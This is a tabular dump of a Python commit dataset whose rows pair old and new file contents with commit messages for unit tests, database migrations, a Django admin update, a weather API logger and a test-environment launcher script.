commit stringlengths 40 40 | old_file stringlengths 4 118 | new_file stringlengths 4 118 | old_contents stringlengths 0 2.94k | new_contents stringlengths 1 4.43k | subject stringlengths 15 444 | message stringlengths 16 3.45k | lang stringclasses 1
value | license stringclasses 13
values | repos stringlengths 5 43.2k | prompt stringlengths 17 4.58k | response stringlengths 1 4.43k | prompt_tagged stringlengths 58 4.62k | response_tagged stringlengths 1 4.43k | text stringlengths 132 7.29k | text_tagged stringlengths 173 7.33k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
307918596d4ec8ab1bbd36c3a7860d31d8849f71 | ooni/tests/test_director.py | ooni/tests/test_director.py | from mock import patch, MagicMock
from ooni.settings import config
from ooni.director import Director
from twisted.internet import defer
from twisted.trial import unittest
class TestDirector(unittest.TestCase):
def test_get_net_tests(self):
director = Director()
nettests = director.getNetTests()
... | Add some unittests for the director. | Add some unittests for the director.
| Python | bsd-2-clause | 0xPoly/ooni-probe,juga0/ooni-probe,juga0/ooni-probe,Karthikeyan-kkk/ooni-probe,kdmurray91/ooni-probe,juga0/ooni-probe,0xPoly/ooni-probe,lordappsec/ooni-probe,0xPoly/ooni-probe,Karthikeyan-kkk/ooni-probe,Karthikeyan-kkk/ooni-probe,kdmurray91/ooni-probe,lordappsec/ooni-probe,kdmurray91/ooni-probe,lordappsec/ooni-probe,kd... | Add some unittests for the director. | from mock import patch, MagicMock
from ooni.settings import config
from ooni.director import Director
from twisted.internet import defer
from twisted.trial import unittest
class TestDirector(unittest.TestCase):
def test_get_net_tests(self):
director = Director()
nettests = director.getNetTests()
... | <commit_before><commit_msg>Add some unittests for the director.<commit_after> | from mock import patch, MagicMock
from ooni.settings import config
from ooni.director import Director
from twisted.internet import defer
from twisted.trial import unittest
class TestDirector(unittest.TestCase):
def test_get_net_tests(self):
director = Director()
nettests = director.getNetTests()
... | Add some unittests for the director.from mock import patch, MagicMock
from ooni.settings import config
from ooni.director import Director
from twisted.internet import defer
from twisted.trial import unittest
class TestDirector(unittest.TestCase):
def test_get_net_tests(self):
director = Director()
... | <commit_before><commit_msg>Add some unittests for the director.<commit_after>from mock import patch, MagicMock
from ooni.settings import config
from ooni.director import Director
from twisted.internet import defer
from twisted.trial import unittest
class TestDirector(unittest.TestCase):
def test_get_net_tests(se... | |
baaaaf514f516d2c7bdbe4d0679f578eb0dc7a11 | test/test_obo.py | test/test_obo.py | import unittest
import os
import pymzml.obo
class TestObo(unittest.TestCase):
def test_valid_obo(self):
# Test features of the OBO that differ for each version
obos = {
version: pymzml.obo.oboTranslator(version)
for version in ('1.18.2', '2.0.0', '2.01.0')
}
... | Add unit tests for OBO translator | Add unit tests for OBO translator
| Python | mit | StSchulze/pymzML,pymzml/pymzML,StSchulze/pymzML,pymzml/pymzML | Add unit tests for OBO translator | import unittest
import os
import pymzml.obo
class TestObo(unittest.TestCase):
def test_valid_obo(self):
# Test features of the OBO that differ for each version
obos = {
version: pymzml.obo.oboTranslator(version)
for version in ('1.18.2', '2.0.0', '2.01.0')
}
... | <commit_before><commit_msg>Add unit tests for OBO translator<commit_after> | import unittest
import os
import pymzml.obo
class TestObo(unittest.TestCase):
def test_valid_obo(self):
# Test features of the OBO that differ for each version
obos = {
version: pymzml.obo.oboTranslator(version)
for version in ('1.18.2', '2.0.0', '2.01.0')
}
... | Add unit tests for OBO translatorimport unittest
import os
import pymzml.obo
class TestObo(unittest.TestCase):
def test_valid_obo(self):
# Test features of the OBO that differ for each version
obos = {
version: pymzml.obo.oboTranslator(version)
for version in ('1.18.2', '2... | <commit_before><commit_msg>Add unit tests for OBO translator<commit_after>import unittest
import os
import pymzml.obo
class TestObo(unittest.TestCase):
def test_valid_obo(self):
# Test features of the OBO that differ for each version
obos = {
version: pymzml.obo.oboTranslator(version)... | |
9a45596d95d1bc568e0551a52abbde4a63f26393 | tests/blueprints/test_homepage.py | tests/blueprints/test_homepage.py | """
:Copyright: 2006-2019 Jochen Kupperschmidt
:License: Modified BSD, see LICENSE for details.
"""
from tests.base import AbstractAppTestCase
from tests.helpers import create_brand, create_party, create_site, \
create_user, http_client
class HomePageTest(AbstractAppTestCase):
def setUp(self):
super... | Test homepage (even though it currently 404's) | Test homepage (even though it currently 404's)
| Python | bsd-3-clause | homeworkprod/byceps,homeworkprod/byceps,m-ober/byceps,m-ober/byceps,homeworkprod/byceps,m-ober/byceps | Test homepage (even though it currently 404's) | """
:Copyright: 2006-2019 Jochen Kupperschmidt
:License: Modified BSD, see LICENSE for details.
"""
from tests.base import AbstractAppTestCase
from tests.helpers import create_brand, create_party, create_site, \
create_user, http_client
class HomePageTest(AbstractAppTestCase):
def setUp(self):
super... | <commit_before><commit_msg>Test homepage (even though it currently 404's)<commit_after> | """
:Copyright: 2006-2019 Jochen Kupperschmidt
:License: Modified BSD, see LICENSE for details.
"""
from tests.base import AbstractAppTestCase
from tests.helpers import create_brand, create_party, create_site, \
create_user, http_client
class HomePageTest(AbstractAppTestCase):
def setUp(self):
super... | Test homepage (even though it currently 404's)"""
:Copyright: 2006-2019 Jochen Kupperschmidt
:License: Modified BSD, see LICENSE for details.
"""
from tests.base import AbstractAppTestCase
from tests.helpers import create_brand, create_party, create_site, \
create_user, http_client
class HomePageTest(AbstractApp... | <commit_before><commit_msg>Test homepage (even though it currently 404's)<commit_after>"""
:Copyright: 2006-2019 Jochen Kupperschmidt
:License: Modified BSD, see LICENSE for details.
"""
from tests.base import AbstractAppTestCase
from tests.helpers import create_brand, create_party, create_site, \
create_user, htt... | |
9dceaaebdd2a63732fb1a9284fa29c4cc71c3e2d | tests/cupy_tests/test_cusolver.py | tests/cupy_tests/test_cusolver.py | import unittest
import numpy
import cupy
from cupy import testing
from cupy import cusolver
@testing.parameterize(*testing.product({
'dtype': [numpy.float32, numpy.float64, numpy.complex64, numpy.complex128],
'shape': [(5, 3), (4, 4), (3, 5)],
'order': ['C', 'F'],
'full_matrices': [True, False],
... | Add unit tests for gesvdj | Add unit tests for gesvdj
| Python | mit | cupy/cupy,cupy/cupy,cupy/cupy,cupy/cupy | Add unit tests for gesvdj | import unittest
import numpy
import cupy
from cupy import testing
from cupy import cusolver
@testing.parameterize(*testing.product({
'dtype': [numpy.float32, numpy.float64, numpy.complex64, numpy.complex128],
'shape': [(5, 3), (4, 4), (3, 5)],
'order': ['C', 'F'],
'full_matrices': [True, False],
... | <commit_before><commit_msg>Add unit tests for gesvdj<commit_after> | import unittest
import numpy
import cupy
from cupy import testing
from cupy import cusolver
@testing.parameterize(*testing.product({
'dtype': [numpy.float32, numpy.float64, numpy.complex64, numpy.complex128],
'shape': [(5, 3), (4, 4), (3, 5)],
'order': ['C', 'F'],
'full_matrices': [True, False],
... | Add unit tests for gesvdjimport unittest
import numpy
import cupy
from cupy import testing
from cupy import cusolver
@testing.parameterize(*testing.product({
'dtype': [numpy.float32, numpy.float64, numpy.complex64, numpy.complex128],
'shape': [(5, 3), (4, 4), (3, 5)],
'order': ['C', 'F'],
'full_matr... | <commit_before><commit_msg>Add unit tests for gesvdj<commit_after>import unittest
import numpy
import cupy
from cupy import testing
from cupy import cusolver
@testing.parameterize(*testing.product({
'dtype': [numpy.float32, numpy.float64, numpy.complex64, numpy.complex128],
'shape': [(5, 3), (4, 4), (3, 5)]... | |
2ebf725edef293a87b6cf073fabb18bf4a7a8227 | examples/rdo_projects.py | examples/rdo_projects.py | #!/usr/bin/env python
"""
An example script that uses rdopkg.actionmods.rdoinfo to output a list of
currently maintained RDO projects.
"""
from rdopkg.actionmods import rdoinfo
def list_projects():
inforepo = rdoinfo.get_default_inforepo()
info = inforepo.get_info()
pkgs = info['packages']
pkg_filte... | Add an example of rdoinfo frontend usage | Add an example of rdoinfo frontend usage
| Python | apache-2.0 | redhat-openstack/rdopkg,redhat-openstack/rdopkg,openstack-packages/rdopkg,openstack-packages/rdopkg | Add an example of rdoinfo frontend usage | #!/usr/bin/env python
"""
An example script that uses rdopkg.actionmods.rdoinfo to output a list of
currently maintained RDO projects.
"""
from rdopkg.actionmods import rdoinfo
def list_projects():
inforepo = rdoinfo.get_default_inforepo()
info = inforepo.get_info()
pkgs = info['packages']
pkg_filte... | <commit_before><commit_msg>Add an example of rdoinfo frontend usage<commit_after> | #!/usr/bin/env python
"""
An example script that uses rdopkg.actionmods.rdoinfo to output a list of
currently maintained RDO projects.
"""
from rdopkg.actionmods import rdoinfo
def list_projects():
inforepo = rdoinfo.get_default_inforepo()
info = inforepo.get_info()
pkgs = info['packages']
pkg_filte... | Add an example of rdoinfo frontend usage#!/usr/bin/env python
"""
An example script that uses rdopkg.actionmods.rdoinfo to output a list of
currently maintained RDO projects.
"""
from rdopkg.actionmods import rdoinfo
def list_projects():
inforepo = rdoinfo.get_default_inforepo()
info = inforepo.get_info()
... | <commit_before><commit_msg>Add an example of rdoinfo frontend usage<commit_after>#!/usr/bin/env python
"""
An example script that uses rdopkg.actionmods.rdoinfo to output a list of
currently maintained RDO projects.
"""
from rdopkg.actionmods import rdoinfo
def list_projects():
inforepo = rdoinfo.get_default_inf... | |
ee0d901f0eb8c098e715485efb7d43ade4a8aeb8 | tests/test_nsq.py | tests/test_nsq.py | import os
import unittest
import numpy as np
import chainer
from chainer import optimizers
import q_function
import nstep_q_learning
import async
import simple_abc
import random_seed
import replay_buffer
from simple_abc import ABC
class TestNSQ(unittest.TestCase):
def setUp(self):
pass
def test_ab... | Add a ABC test for n-step Q-learning | Add a ABC test for n-step Q-learning
| Python | mit | toslunar/chainerrl,toslunar/chainerrl | Add a ABC test for n-step Q-learning | import os
import unittest
import numpy as np
import chainer
from chainer import optimizers
import q_function
import nstep_q_learning
import async
import simple_abc
import random_seed
import replay_buffer
from simple_abc import ABC
class TestNSQ(unittest.TestCase):
def setUp(self):
pass
def test_ab... | <commit_before><commit_msg>Add a ABC test for n-step Q-learning<commit_after> | import os
import unittest
import numpy as np
import chainer
from chainer import optimizers
import q_function
import nstep_q_learning
import async
import simple_abc
import random_seed
import replay_buffer
from simple_abc import ABC
class TestNSQ(unittest.TestCase):
def setUp(self):
pass
def test_ab... | Add a ABC test for n-step Q-learningimport os
import unittest
import numpy as np
import chainer
from chainer import optimizers
import q_function
import nstep_q_learning
import async
import simple_abc
import random_seed
import replay_buffer
from simple_abc import ABC
class TestNSQ(unittest.TestCase):
def setUp(... | <commit_before><commit_msg>Add a ABC test for n-step Q-learning<commit_after>import os
import unittest
import numpy as np
import chainer
from chainer import optimizers
import q_function
import nstep_q_learning
import async
import simple_abc
import random_seed
import replay_buffer
from simple_abc import ABC
class Te... | |
82ac3a4300dcde07402dd6e5ce50cafa39f4a243 | training/level-1-the-zen-of-python/dragon-warrior/ST_sequences.py | training/level-1-the-zen-of-python/dragon-warrior/ST_sequences.py | my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print (my_list[2])
print(len(my_list))
print(min(my_list))
print(max(my_list))
test_tuple = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
print(test_tuple[-4])
test_string = "mystring is here"
print(test_string)
print(list(test_string[-4:2]))
test_range = range(100)
print(list(test_range[... | Solve world issue for humanity | Solve world issue for humanity
| Python | artistic-2.0 | bigfatpanda-training/pandas-practical-python-primer,bigfatpanda-training/pandas-practical-python-primer | Solve world issue for humanity | my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print (my_list[2])
print(len(my_list))
print(min(my_list))
print(max(my_list))
test_tuple = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
print(test_tuple[-4])
test_string = "mystring is here"
print(test_string)
print(list(test_string[-4:2]))
test_range = range(100)
print(list(test_range[... | <commit_before><commit_msg>Solve world issue for humanity<commit_after> | my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print (my_list[2])
print(len(my_list))
print(min(my_list))
print(max(my_list))
test_tuple = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
print(test_tuple[-4])
test_string = "mystring is here"
print(test_string)
print(list(test_string[-4:2]))
test_range = range(100)
print(list(test_range[... | Solve world issue for humanitymy_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print (my_list[2])
print(len(my_list))
print(min(my_list))
print(max(my_list))
test_tuple = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
print(test_tuple[-4])
test_string = "mystring is here"
print(test_string)
print(list(test_string[-4:2]))
test_range = ran... | <commit_before><commit_msg>Solve world issue for humanity<commit_after>my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print (my_list[2])
print(len(my_list))
print(min(my_list))
print(max(my_list))
test_tuple = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
print(test_tuple[-4])
test_string = "mystring is here"
print(test_string)
print(l... | |
141421a868afbbf2e92c426202bbba8b49d55a38 | tests/test_db.py | tests/test_db.py | # -*- coding: utf-8 -*-
"""Test database functionality."""
import sqlite3
import tempfile
import unittest
from contextlib import closing
from sqlalchemy.exc import NoSuchTableError
from sqlalchemy.types import (
INTEGER,
TEXT,
)
from esis.db import Database
class DatabaseTest(unittest.TestCase):
"""D... | Add a few Database test cases | Add a few Database test cases
| Python | mit | jcollado/esis | Add a few Database test cases | # -*- coding: utf-8 -*-
"""Test database functionality."""
import sqlite3
import tempfile
import unittest
from contextlib import closing
from sqlalchemy.exc import NoSuchTableError
from sqlalchemy.types import (
INTEGER,
TEXT,
)
from esis.db import Database
class DatabaseTest(unittest.TestCase):
"""D... | <commit_before><commit_msg>Add a few Database test cases<commit_after> | # -*- coding: utf-8 -*-
"""Test database functionality."""
import sqlite3
import tempfile
import unittest
from contextlib import closing
from sqlalchemy.exc import NoSuchTableError
from sqlalchemy.types import (
INTEGER,
TEXT,
)
from esis.db import Database
class DatabaseTest(unittest.TestCase):
"""D... | Add a few Database test cases# -*- coding: utf-8 -*-
"""Test database functionality."""
import sqlite3
import tempfile
import unittest
from contextlib import closing
from sqlalchemy.exc import NoSuchTableError
from sqlalchemy.types import (
INTEGER,
TEXT,
)
from esis.db import Database
class DatabaseTest(... | <commit_before><commit_msg>Add a few Database test cases<commit_after># -*- coding: utf-8 -*-
"""Test database functionality."""
import sqlite3
import tempfile
import unittest
from contextlib import closing
from sqlalchemy.exc import NoSuchTableError
from sqlalchemy.types import (
INTEGER,
TEXT,
)
from esis... | |
e752e38c25f90065acc8b3c52a98bd0e1f4f3ebc | timelines/app.py | timelines/app.py | #!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
from rapidsms.apps.base import AppBase
from rapidsms.models import Connection
#from rapidsms.contrib.messagelog.models import Message
from .models import Reporter
class Chat(AppBase):
def _send_chat_msg(self, msg):
if msg.contact is None:
msg... | Add group chatting capability with the use special group chat | Add group chatting capability with the use special group chat
| Python | bsd-3-clause | ewheeler/rapidsms-timelines,ewheeler/rapidsms-timelines,ewheeler/rapidsms-timelines | Add group chatting capability with the use special group chat | #!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
from rapidsms.apps.base import AppBase
from rapidsms.models import Connection
#from rapidsms.contrib.messagelog.models import Message
from .models import Reporter
class Chat(AppBase):
def _send_chat_msg(self, msg):
if msg.contact is None:
msg... | <commit_before><commit_msg>Add group chatting capability with the use special group chat<commit_after> | #!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
from rapidsms.apps.base import AppBase
from rapidsms.models import Connection
#from rapidsms.contrib.messagelog.models import Message
from .models import Reporter
class Chat(AppBase):
def _send_chat_msg(self, msg):
if msg.contact is None:
msg... | Add group chatting capability with the use special group chat#!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
from rapidsms.apps.base import AppBase
from rapidsms.models import Connection
#from rapidsms.contrib.messagelog.models import Message
from .models import Reporter
class Chat(AppBase):
def _send_chat_ms... | <commit_before><commit_msg>Add group chatting capability with the use special group chat<commit_after>#!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
from rapidsms.apps.base import AppBase
from rapidsms.models import Connection
#from rapidsms.contrib.messagelog.models import Message
from .models import Reporter
c... | |
181c10f604cfc89181c548a3527b12ccdfbed596 | migrations/versions/430_add_entries_to_lots_table_for_dos.py | migrations/versions/430_add_entries_to_lots_table_for_dos.py | """add entries to lots table for DOS
Revision ID: 430
Revises: 420
Create Date: 2015-11-16 11:34:41.412730
"""
# revision identifiers, used by Alembic.
revision = '430'
down_revision = '420'
from alembic import op
import sqlalchemy as sa
from sqlalchemy.sql import table, column
def upgrade():
# Insert DOS lot... | Add data migration for dos entries in lots table | Add data migration for dos entries in lots table
| Python | mit | alphagov/digitalmarketplace-api,alphagov/digitalmarketplace-api,alphagov/digitalmarketplace-api | Add data migration for dos entries in lots table | """add entries to lots table for DOS
Revision ID: 430
Revises: 420
Create Date: 2015-11-16 11:34:41.412730
"""
# revision identifiers, used by Alembic.
revision = '430'
down_revision = '420'
from alembic import op
import sqlalchemy as sa
from sqlalchemy.sql import table, column
def upgrade():
# Insert DOS lot... | <commit_before><commit_msg>Add data migration for dos entries in lots table<commit_after> | """add entries to lots table for DOS
Revision ID: 430
Revises: 420
Create Date: 2015-11-16 11:34:41.412730
"""
# revision identifiers, used by Alembic.
revision = '430'
down_revision = '420'
from alembic import op
import sqlalchemy as sa
from sqlalchemy.sql import table, column
def upgrade():
# Insert DOS lot... | Add data migration for dos entries in lots table"""add entries to lots table for DOS
Revision ID: 430
Revises: 420
Create Date: 2015-11-16 11:34:41.412730
"""
# revision identifiers, used by Alembic.
revision = '430'
down_revision = '420'
from alembic import op
import sqlalchemy as sa
from sqlalchemy.sql import tab... | <commit_before><commit_msg>Add data migration for dos entries in lots table<commit_after>"""add entries to lots table for DOS
Revision ID: 430
Revises: 420
Create Date: 2015-11-16 11:34:41.412730
"""
# revision identifiers, used by Alembic.
revision = '430'
down_revision = '420'
from alembic import op
import sqlalc... | |
fb7e60951fc790398ce10dcbaf2f5bcd6151520d | osf/migrations/0148_merge_20181213_2253.py | osf/migrations/0148_merge_20181213_2253.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-12-13 22:53
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('osf', '0147_blacklistedemaildomain'),
('osf', '0147_repoint_preprint_pagecounters'),
]
... | Add final divorce merge migration | Add final divorce merge migration
| Python | apache-2.0 | mfraezz/osf.io,adlius/osf.io,pattisdr/osf.io,mfraezz/osf.io,felliott/osf.io,brianjgeiger/osf.io,Johnetordoff/osf.io,pattisdr/osf.io,felliott/osf.io,CenterForOpenScience/osf.io,pattisdr/osf.io,aaxelb/osf.io,saradbowman/osf.io,mattclark/osf.io,brianjgeiger/osf.io,Johnetordoff/osf.io,brianjgeiger/osf.io,CenterForOpenScien... | Add final divorce merge migration | # -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-12-13 22:53
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('osf', '0147_blacklistedemaildomain'),
('osf', '0147_repoint_preprint_pagecounters'),
]
... | <commit_before><commit_msg>Add final divorce merge migration<commit_after> | # -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-12-13 22:53
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('osf', '0147_blacklistedemaildomain'),
('osf', '0147_repoint_preprint_pagecounters'),
]
... | Add final divorce merge migration# -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-12-13 22:53
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('osf', '0147_blacklistedemaildomain'),
('osf', '0147_repoin... | <commit_before><commit_msg>Add final divorce merge migration<commit_after># -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-12-13 22:53
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('osf', '0147_blacklistedem... | |
f61440f8b51e8d1e30a94d71eb1fac42ee4818b9 | myhdl/test/conversion/toVHDL/test_delay.py | myhdl/test/conversion/toVHDL/test_delay.py | from __future__ import absolute_import
from myhdl import *
def bench_delay():
clock = Signal(False)
HALF_PERIOD = 10
@instance
def clockgen():
clock.next = False
while True:
yield delay(HALF_PERIOD)
clock.next = not clock
@instance
def stimulus():
... | Solve a problem with time constants | Solve a problem with time constants
| Python | lgpl-2.1 | jmgc/myhdl-numeric,jmgc/myhdl-numeric,jmgc/myhdl-numeric | Solve a problem with time constants | from __future__ import absolute_import
from myhdl import *
def bench_delay():
clock = Signal(False)
HALF_PERIOD = 10
@instance
def clockgen():
clock.next = False
while True:
yield delay(HALF_PERIOD)
clock.next = not clock
@instance
def stimulus():
... | <commit_before><commit_msg>Solve a problem with time constants<commit_after> | from __future__ import absolute_import
from myhdl import *
def bench_delay():
clock = Signal(False)
HALF_PERIOD = 10
@instance
def clockgen():
clock.next = False
while True:
yield delay(HALF_PERIOD)
clock.next = not clock
@instance
def stimulus():
... | Solve a problem with time constantsfrom __future__ import absolute_import
from myhdl import *
def bench_delay():
clock = Signal(False)
HALF_PERIOD = 10
@instance
def clockgen():
clock.next = False
while True:
yield delay(HALF_PERIOD)
clock.next = not clock
... | <commit_before><commit_msg>Solve a problem with time constants<commit_after>from __future__ import absolute_import
from myhdl import *
def bench_delay():
clock = Signal(False)
HALF_PERIOD = 10
@instance
def clockgen():
clock.next = False
while True:
yield delay(HALF_PERIOD... | |
6cba5b2507afa123a79a3def08a92568952c6937 | weatherlogger.py | weatherlogger.py | from twisted.internet import task, reactor, defer, protocol
from twisted.web.client import Agent
class ResponseReader(protocol.Protocol):
def __init__(self, finished):
self.finished = finished
self.buffer = ''
def dataReceived(self, data):
self.buffer += data
def connectionLost(sel... | Implement basic weather API call | Implement basic weather API call
| Python | mit | msieker/pimonitor,johan--/pimonitor | Implement basic weather API call | from twisted.internet import task, reactor, defer, protocol
from twisted.web.client import Agent
class ResponseReader(protocol.Protocol):
def __init__(self, finished):
self.finished = finished
self.buffer = ''
def dataReceived(self, data):
self.buffer += data
def connectionLost(sel... | <commit_before><commit_msg>Implement basic weather API call<commit_after> | from twisted.internet import task, reactor, defer, protocol
from twisted.web.client import Agent
class ResponseReader(protocol.Protocol):
def __init__(self, finished):
self.finished = finished
self.buffer = ''
def dataReceived(self, data):
self.buffer += data
def connectionLost(sel... | Implement basic weather API callfrom twisted.internet import task, reactor, defer, protocol
from twisted.web.client import Agent
class ResponseReader(protocol.Protocol):
def __init__(self, finished):
self.finished = finished
self.buffer = ''
def dataReceived(self, data):
self.buffer +=... | <commit_before><commit_msg>Implement basic weather API call<commit_after>from twisted.internet import task, reactor, defer, protocol
from twisted.web.client import Agent
class ResponseReader(protocol.Protocol):
def __init__(self, finished):
self.finished = finished
self.buffer = ''
def dataRec... | |
3a06f01a9440b05b87bebc33d1342cd71fbeefbb | samples/admin.py | samples/admin.py | from django.contrib import admin
from .models import Patient, PatientRegister, FluVaccine, Sample, CollectionType
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
class PatientRegisterAdmin(admin.ModelAdmin)... | from django.contrib import admin
from .models import (
Patient, PatientRegister,
FluVaccine,
Sample, CollectionType,
Symptom, ObservedSymptom
)
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
... | Add Symptoms and ObservedSymptoms to Admin | :rocket: Add Symptoms and ObservedSymptoms to Admin
| Python | mit | gems-uff/labsys,gems-uff/labsys,gcrsaldanha/fiocruz,gcrsaldanha/fiocruz,gems-uff/labsys | from django.contrib import admin
from .models import Patient, PatientRegister, FluVaccine, Sample, CollectionType
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
class PatientRegisterAdmin(admin.ModelAdmin)... | from django.contrib import admin
from .models import (
Patient, PatientRegister,
FluVaccine,
Sample, CollectionType,
Symptom, ObservedSymptom
)
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
... | <commit_before>from django.contrib import admin
from .models import Patient, PatientRegister, FluVaccine, Sample, CollectionType
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
class PatientRegisterAdmin(ad... | from django.contrib import admin
from .models import (
Patient, PatientRegister,
FluVaccine,
Sample, CollectionType,
Symptom, ObservedSymptom
)
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
... | from django.contrib import admin
from .models import Patient, PatientRegister, FluVaccine, Sample, CollectionType
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
class PatientRegisterAdmin(admin.ModelAdmin)... | <commit_before>from django.contrib import admin
from .models import Patient, PatientRegister, FluVaccine, Sample, CollectionType
class FluVaccineInline(admin.StackedInline):
model = FluVaccine
extra = 1
class SampleInline(admin.StackedInline):
model = Sample
extra = 1
class PatientRegisterAdmin(ad... |
9df2cddf573ad574a98b57164f0c186cf86dfcc4 | spawn-test-env.py | spawn-test-env.py | #!/usr/bin/python -t
import sys, os
import gtk, gobject
import pwd
import types
def change_user(user):
try:
pwrec = pwd.getpwnam(user)
except KeyError:
raise Exception("Username '%s' does not exist." % user)
uid = pwrec[2]
os.setuid(uid)
return pwrec[6]
def shell_watch_cb(pid, condition, user_data=None):
p... | Add script that starts Xephyr, dbus, and metacity for a test user then dumps you to a shell | Add script that starts Xephyr, dbus, and metacity for a test user then dumps you to a shell
| Python | lgpl-2.1 | samdroid-apps/sugar-toolkit-gtk3,sugarlabs/sugar-toolkit,sugarlabs/sugar-toolkit,tchx84/debian-pkg-sugar-toolkit-gtk3,ceibal-tatu/sugar-toolkit,tchx84/sugar-toolkit-gtk3,i5o/sugar-toolkit-gtk3,sugarlabs/sugar-toolkit-gtk3,i5o/sugar-toolkit-gtk3,sugarlabs/sugar-toolkit,tchx84/debian-pkg-sugar-toolkit-gtk3,quozl/sugar-to... | Add script that starts Xephyr, dbus, and metacity for a test user then dumps you to a shell | #!/usr/bin/python -t
import sys, os
import gtk, gobject
import pwd
import types
def change_user(user):
try:
pwrec = pwd.getpwnam(user)
except KeyError:
raise Exception("Username '%s' does not exist." % user)
uid = pwrec[2]
os.setuid(uid)
return pwrec[6]
def shell_watch_cb(pid, condition, user_data=None):
p... | <commit_before><commit_msg>Add script that starts Xephyr, dbus, and metacity for a test user then dumps you to a shell<commit_after> | #!/usr/bin/python -t
import sys, os
import gtk, gobject
import pwd
import types
def change_user(user):
try:
pwrec = pwd.getpwnam(user)
except KeyError:
raise Exception("Username '%s' does not exist." % user)
uid = pwrec[2]
os.setuid(uid)
return pwrec[6]
def shell_watch_cb(pid, condition, user_data=None):
p... | Add script that starts Xephyr, dbus, and metacity for a test user then dumps you to a shell#!/usr/bin/python -t
import sys, os
import gtk, gobject
import pwd
import types
def change_user(user):
try:
pwrec = pwd.getpwnam(user)
except KeyError:
raise Exception("Username '%s' does not exist." % user)
uid = pwrec[... | <commit_before><commit_msg>Add script that starts Xephyr, dbus, and metacity for a test user then dumps you to a shell<commit_after>#!/usr/bin/python -t
import sys, os
import gtk, gobject
import pwd
import types
def change_user(user):
try:
pwrec = pwd.getpwnam(user)
except KeyError:
raise Exception("Username '%... | |
5f925f837f4ae3ba136f0d6e271848b06467ea8b | pymatgen/symmetry/tests/test_spacegroup.py | pymatgen/symmetry/tests/test_spacegroup.py | #!/usr/bin/env python
'''
Created on Mar 12, 2012
'''
from __future__ import division
__author__="Shyue Ping Ong"
__copyright__ = "Copyright 2012, The Materials Project"
__version__ = "0.1"
__maintainer__ = "Shyue Ping Ong"
__email__ = "shyue@mit.edu"
__date__ = "Mar 12, 2012"
import unittest
import os
from pymatg... | Add a unittest for spacegroup. Still very basic. | Add a unittest for spacegroup. Still very basic.
| Python | mit | yanikou19/pymatgen,yanikou19/pymatgen,sonium0/pymatgen,ctoher/pymatgen,rousseab/pymatgen,Bismarrck/pymatgen,migueldiascosta/pymatgen,rousseab/pymatgen,Bismarrck/pymatgen,migueldiascosta/pymatgen,rousseab/pymatgen,Bismarrck/pymatgen,sonium0/pymatgen,ctoher/pymatgen,ctoher/pymatgen,Dioptas/pymatgen,yanikou19/pymatgen,Bis... | Add a unittest for spacegroup. Still very basic. | #!/usr/bin/env python
'''
Created on Mar 12, 2012
'''
from __future__ import division
__author__="Shyue Ping Ong"
__copyright__ = "Copyright 2012, The Materials Project"
__version__ = "0.1"
__maintainer__ = "Shyue Ping Ong"
__email__ = "shyue@mit.edu"
__date__ = "Mar 12, 2012"
import unittest
import os
from pymatg... | <commit_before><commit_msg>Add a unittest for spacegroup. Still very basic.<commit_after> | #!/usr/bin/env python
'''
Created on Mar 12, 2012
'''
from __future__ import division
__author__="Shyue Ping Ong"
__copyright__ = "Copyright 2012, The Materials Project"
__version__ = "0.1"
__maintainer__ = "Shyue Ping Ong"
__email__ = "shyue@mit.edu"
__date__ = "Mar 12, 2012"
import unittest
import os
from pymatg... | Add a unittest for spacegroup. Still very basic.#!/usr/bin/env python
'''
Created on Mar 12, 2012
'''
from __future__ import division
__author__="Shyue Ping Ong"
__copyright__ = "Copyright 2012, The Materials Project"
__version__ = "0.1"
__maintainer__ = "Shyue Ping Ong"
__email__ = "shyue@mit.edu"
__date__ = "Mar 1... | <commit_before><commit_msg>Add a unittest for spacegroup. Still very basic.<commit_after>#!/usr/bin/env python
'''
Created on Mar 12, 2012
'''
from __future__ import division
__author__="Shyue Ping Ong"
__copyright__ = "Copyright 2012, The Materials Project"
__version__ = "0.1"
__maintainer__ = "Shyue Ping Ong"
__em... | |
